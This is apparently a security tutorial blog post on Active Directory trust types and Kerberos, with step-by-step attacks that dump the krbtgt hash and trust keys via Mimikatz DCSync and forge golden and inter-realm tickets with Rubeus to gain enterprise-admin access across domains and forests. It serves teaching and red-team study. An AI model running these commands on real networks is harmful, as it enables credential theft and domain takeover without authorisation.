Infiltrating the Domain: Exploiting Active Directory Trusts
Overview
In active directory trust is a relationship between two domain or forest which allows users or groups of one domain or forest to authenticate and access resources of another domain or forest or vice versa.
One Way Trust
This is also known as one direction trust where users or groups in trusted domain can access resources in trusting domain but the reverse is not true. For example in a forest alex.local
there is a child domain development.alex.local
and there is another forest dhital.local
which has its child domain management.dhital.local
. If development.alex.local
is configured to trust management.dhital.local
then development.alex.local
is the trusting domain wheares management.dhital.local
is the trusted domain so users/groups in management.dhital.local
can authenticate and access resources of development.alex.local
but vice versa is not true.
Two way trust(Bi-directional trust)
Two way trust also called as bi-directional trust is a trust relationship where users or groups of one domain or forest can access each other’s resources. This type of trust is automatically created between domains inside a forest. For example in the above diagram The root domain is alex.local
which has two child domains development.alex.local
and finance.alex.local
. Both development and finance can access each other resources as well as can access resource in alex.local
itself.
Note: In a forest if one domain is compromised the entire forest can be compromised since domains inside a forest has bi-directional trust with each other. eg: If management.alex.local
is compromised due to bi-directional parent child trust alex.local can be compromised.
Transitive Trust
This kind of trust exists automatically between domains inside a forest. For example in a forest alex.local
there are three domains development, finance and management. If development.alex.local
has bi directional trust with finance.alex.local
and finance.alex.local
has bi directional trust with management.alex.local
then development domain has bi directional trust automatically with management.
Non transitive trust
It means if domain A trusts domain B and domain B trusts domain C then domain A does not trust domain C automatically and a separate trust needs to be established between them. This type of trust relationship automatically exists between two domains in different forest.
Parent Child trust
This is same as bi-directional trust. It is created automatically between forest root and child domains. example: child domain management.alex.local
and forest root which is the parent domain alex.local
can access each other’s resources.
Tree root trust
It is automatically created between trees in a forest. For example in a forest alex.local there are three domains development, finance and management and management has child domain in.management.alex.local
. If in.management.alex.local
is compromised due to bi directional trust management.alex.local
can be compromised and again due to bi-directional trust alex.local
forest itself can be compromised.
External trust
This needs to be created manually. This trust is manually established by enterprise administrator between domains in two different forests. For example: two forests alex.local
and dhital.local
. alex.local
has two child domains development.alex.local
and management.alex.local
. The forest dhital.local
has sales.dhital.local
and IT.dhital.local
. Here, enterprise administrators can setup one way or two way trust between development.alex.local
and sales.dhital.local
or with any other domain.
Kerberos working inside forest.
Suppose a client in management.alex.local
wants to access a service residing in parent domain alex.local
how does he do it?
- The client asks for TGT with authentication server.(current domain’s dc)
- The authentication server sends TGT to the client.(current domain’s dc)
- The client presents this TGT along with spn
MSSQL\sql.alex.local
to the ticket granting server(current domain’s dc) and asks for ST for MSSQL service residing in alex.io domain. - The DC checks the spn and provides inter forest TGT(This inter forest TGT is encrypted using trust key for parent and child domains. This trust key is present in dc of both domains.)
- Client presents this inter forest TGT to DC of parent domain and asks for ST
- The parent domain’s DC decrypts this inter forest TGT using its own trust key and if successfull presents ST to the client.
- The client presents this service ticket to the service in parent domain.
- The service provides or denies access.
Forging inter realm TGT via sIDHistory
sIDHistory is a user attribute designed for scenarios where a user is moved from one domain to another. When a user’s domain is changed, they get a new SID and the old SID is added to sIDHistory. sIDHistorycan be abused in two ways of escalating privileges within a forest:
- Extracting trust key and forging inter forest TGT by creating golden ticket and setting sIDHistory as enterprise administrator.
- Extracting krbtgt hash of current domain and forging inter realm TGT by creating golden ticket and setting sIDHistory as enterprise administrator.
Forging inter realm TGT using krbtgt hash
First we need sid of domain admins group of target domain alex.local which is enterprise administrators as well. Using PowerView
1 | PS C:\Users\Alex\Desktop> Get-DomainGroup -Identity "Domain Admins" -Domain alex.local -Properties ObjectSid |
We will also need sid of current domain which is management.alex.local
1 | PS C:\Users\Alex\Desktop> Get-DomainSID |
Dump hash of krbtgt account of current domain by performing dcsync. Extract the aes256 hash.
1 | PS C:\Users\Alex\Desktop> Invoke-Mimikatz -Command '"lsadump::dcsync /user:mgmt\krbtgt"' -ComputerName mgmt-dc |
Create golden ticket setting sIDHistory for enterprise administrator and pass the ticket into a logon session using /ptt
1 | PS C:\Users\Alex\Desktop> .\Rubeus.exe golden /aes256:31e7f323ade5689f7adfdfeee19de65ebc37c01a4790a7f38fb52e06563d5g8d /user:Administrator /domain:management.alex.local /sid:S-1-5-21-673305511-321244342-2457501623 /sids:S-1-5-21-4294361352-675613456-824644915-512 /nowrap /ptt |
- aes256 is the hash of krbtgt account of current domain.
- sid is the sid of current domain.
- sids is the sid of parent domain.
Finally, access the dc of alex.local
1 | C:\Users\Alex\Desktop> ls \\dc.alex.local\ADMIN$ |
Forging inter realm TGT using trust key
When the client sends its TGT and spn MSSQL\sql.alex.local
to the ticket granting server of management.alex.local
domain the ticket granting server sees the spn and realizes it is for parent domain alex.local
. The Ticket Granting Server then sends the client inter realm TGT as in the above steps. This inter realm TGT is encrypted with trust key present in domain controller of both child and parent domain. If we have DA access on child domain we can simply extract this trust key and forge inter realm TGT setting sIDHistory as enterprise administrator and re-encrypt this forged inter realm TGT using the trust key and finally use this inter realm TGT to request ST for any service service on parent domain. We can simply request service ticket for cifs, host on domain controller of parent domain since we have forged inter real TGT as enterprise administrator.
Using mimikatz extract the trust keys look for trust keys [In] child.domain -> prent.domain and extract rc4.
1 | C:\Users\Alex\Desktop> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName mgmt-dc |
Similarly as above get using PowerView get SID for current domain, get SID for Enterprise Administrator group of parent domain 519
is default here. Generate and save golden ticket as below.
1 | C:\Users\Alex\Desktop> Invoke-Mimikatz "kerberos::golden /user:Administrator /domain:management.alex.local /sid:S-1-5-21-673305511-321244342-2457501623 /sids:S-1-5-21-4294361352-675613456-824644915-512 /rc4:e9ab2e57f6397c19b62476e98e9521ac /service:krbtgt /target:alex.local /ticket:C:\Users\Alex\Desktop\trust_tkt.kirbi" "exit" |
- The first sid parameter is the sid of current domain
- The second sids parameter is the sid of enterprise administrators group of the parent domain 519 is default
- rc4 is the rc4 of the trust key
- target is parent domain
- ticket is the path to where the ticket should be saved.
We can use Rubeus to request service ticket for cifs on dc of parent domain and pass the ticket into logon session
1 | C:\Users\Alex\Desktop> Rubeus.exe asktgs /ticket:C:\Users\Alex\Desktop\trust_tkt.kirbi /service:cifs/dc-1.alex.local /dc:dc-1.alex.local /ptt |
Access the DC of parent domain.
1 | C:\Users\Alex\Desktop> ls \\dc-1.alex.local\c$ |
Kerberos Working across forest
- The client asks for TGT with authentication server. (current domain’s dc)
- The authentication server sends TGT to the client.(current domain’s dc)
- The client presents this TGT to ticket granting server(current domain’s dc) and asks for ST for service residing in another forest
MSSQL\sql-1.dhital.local
. - The DC sees the SPN and identfies the service is located in another forest and provides cross realm TGT which is encrypted using trust keys present in dc of both forest.
- The client will send this cross realm TGT to DC of another forest and request access for MSSQL service residing in that forest.
- The DC of another forest will decrypt this TGT using its own trust key and if successful presents ST to the client.
- The client provides this service ticket to service in another forest
- The service provides or denies access.
SID filtering
When accessing resources across forest there exist a security mechanism called sid filtering which prevents a client from forging cross realm TGT by trying to set sIDHistory as EA. Across forest we can access only explicitly allowed resources like cifs, file service, database, etc.
Attacking Inbound Trust via foreign group member
If the domain we comrpomised has an inbound trust meaning another domain in another forest trusts the domain we compromised and we can access resources in that domain then we can identify any groups with users in that domain that are outside of the domain. Here, management.alex.local
has inbound trust with dhital.local
forest.
1 | C:\Users\Alex\Desktop> Get-DomainTrust |
Using Get-DomainForeignGroupMember
cmdlet from PowerView we can enumerate groups in dhital.local which consists users outside of dhital.local
1 | C:\Users\Alex\Desktop> Get-DomainForeignGroupMember -Domain dhital.local |
We can see that dhital.local
has Management Admins group which has member S-1-5-21-987654321-123456789-123456789-1120
who is not part of dhital.local
. We can convert the SID by doing.
1 | C:\Users\Alex\Desktop> ConvertFrom-SID S-1-5-21-987654321-123456789-123456789-1120 |
This means members of Domain Admin group of management.dhial.local
are also members of Management Admins group on dhital.local
forest and may have local admin access to dc.dhital.local
. For example we have already compromised user alex who is member of Domain Admin of management.alex.local. We need to extract alex’s TGT then using his TGT to request cross realm ticket for dhital.local
1 | C:\Users\Alex\Desktop> .\Rubeus.exe asktgs /service:krbtgt/dhital.local /domain:management.alex.local /dc:dc.management.alex.local /ticket:gdHFsKjeHGFMuaR9....== /nowrap |
Using this cross realm TGT we can request ST for service on dhital.local. Here we will ask ST for cifs on dc-1 of dhital.local
1 | C:\Users\Alex\Desktop> .\Rubeus.exe asktgs /service:cifs/dc-1.dhital.local /domain:dhital.local /dc:dc-1.dhital.local /ticket:gA4D14d3O..... /nowrap |
inject this ST into current or new logon session and access dc-1
1 | C:\Users\Alex\Desktop> ls \\dc-1.dhital.local\ADMIN$ |